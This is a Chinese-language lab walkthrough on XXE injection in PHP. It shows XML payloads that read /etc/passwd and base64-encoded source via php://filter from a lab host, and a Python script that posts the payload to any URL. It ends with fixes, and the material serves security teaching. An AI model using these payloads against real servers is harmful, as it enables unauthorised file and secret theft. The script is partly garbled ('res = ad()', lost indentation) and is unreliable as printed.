XXE(xml外部实体注⼊漏洞)
实验内容
介绍XXE漏洞的触发⽅式和利⽤⽅法,简单介绍XXE漏洞的修复。xml实体解析xpath注入
影响版本:
libxml2.8.0版本
漏洞介绍
XXE Injection即XML External Entity Injection,也就是XML外部实体注⼊攻击。漏洞是在对⾮安全的外部实体数据进⾏处理时引发的安全问题。
由于站点的建站语⾔不同,PHP、JAVA、python等也有不同的解析规则,在实际情况中不能⼀概⽽论,但原理是相同的。
XML基础知识
XML是⽤于标记电⼦⽂件使其具有结构性的标记语⾔,可以⽤来标记数据、定义数据类型,是⼀种允许⽤
户对⾃⼰的标记语⾔进⾏定义的源语⾔。XML⽂档结构包括XML声明、DTD⽂档类型定义(可选)、⽂档元素。
XML中对数据的引⽤称为实体,实体中有⼀类叫外部实体,⽤来引⼊外部资源,有SYSTEM和PUBLIC两个关键字,表⽰实体来⾃本地计算机还是公共计算机,外部实体的引⽤可以借助各种协议,⽐如如下的三种:
file:///path/
url
php://filter/read=convert.base64-encode/resource=conf.php
XML在调⽤外部实体整体的写法如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引⽤名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
这种写法则调⽤了本地计算机的⽂件/etc/passwd,XML内容被解析后,⽂件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。实验步骤
以下步骤主要讲述了此漏洞的利⽤⽅式,XML、Payload的构造⽅式以及恶意脚本的使⽤和分析。
步骤1:漏洞验证
⾸先,我们的⽬标地址是172.16.12.2/simplexml_load_string.php
我们先来看下simplexml_load_string.php代码怎么写的,代码如下:
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
最开始,引⼊⼀个file_get_contents函数,将整个XML数据读⼊data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。
这⼀数据即XML字符串中使⽤的对象(或者说根元素)的数据,并echo输出出来。
我们现在打开Burpsuite,修改浏览器的⽹络配置,点击最右侧的三个横线,然后依次点击->选项->⾼级->⽹络->配置firefox如何连接互联⽹
设置HTTP代理为127.0.0.1,端⼝为8080,配置完成后,开启burpsuite的拦截功能,然后访问如下⽹址
172.16.12.2/simplexml_load_string.php
当访问请求被burp拦截后,点击action将此请求发送到burp的repeater选项卡(send to repeater),将如下的XML⽂本直接写在数据包内容的下⾯
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
这⼀步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容⼯作,这段XML中SYSTEM "file:///etc/passwd"部分引⽤了⽬标服务器(即172.16.12.2)下的/etc/passwd⽂件,服务器解析XML内容后,会将这⼀⽂件内容存⼊&xxe中,然后将数据返回给恶意访问者。
执⾏完成上⾯的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd⽂件的内容
如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放⾏请求,返回的结果在浏览器上显⽰如下
返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码
<?php
phpinfo();
?>
我们来访问⼀下index.php,可以看到确实是执⾏了phpinfo();函数
步骤2 使⽤并分析恶意脚本
请访问file.ichunqiu/397qjz4d下载实验⽂件。
打开cmd,输⼊python 脚本所在路径\xxe-url2.py(可将脚本直接拖⼊cmd命令⾏) ,然后输⼊要读取的⽂件及要访问的地址.
如下图所⽰,脚本放在C:\Documents and Settings\Administrator\My Documents\下载\路径下,运⾏脚本,输⼊⽰例payload
file:///etc/passwd
⽰例地址
172.16.12.2/simplexml_load_string.php
xxe-url2.py的代码如下,通过urllib2的request⽅法⽤POST⽅式向⽬标地址发送XML数据,返回的数据即为服务器172.16.12.2下的/etc/passwd⽂件
import urllib2
if __name__ == '__main__':
print u'输⼊要读取的⽂件,如file:///etc/passwd'
payload = raw_input()
print u'输⼊要访问的地址,如172.16.12.2/simplexml_load_string.php'
url = raw_input()
#url = '192.168.70.235/simplexml_load_string.php'
headers = {'Content-type': 'text/xml'}
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'    req = urllib2.Request(url = url,headers = headers, data = xml)
res_data = urllib2.urlopen(req)
res = ad()
print res
实验结果分析与总结
本次实验主要了解了XML的基础知识以及PHP中XML的使⽤,了解了漏洞出现的原理,学习了通过构造恶意的外部实体访问,让服务器读取敏感⽂件内容的恶意操作。
XML外部实体注⼊可以造成的危害有:
任意⽂件读取
系统命令执⾏
内⽹主机及服务探测
本次实验我们主要进⾏了任意⽂件读取的操作,系统命令执⾏需要在安装了EXPECT扩展的PHP环境下才能执⾏,内⽹主机及服务探测可以通过HTTP协议来执⾏。
修复⽅案
使⽤libxml2.8.0以上版本xml解析库,默认禁⽌外部实体的解析
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调⽤函数进⾏过滤
可将外部实体、参数实体和内联DTD都被设置为false,从⽽避免基于XXE漏洞的攻击。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。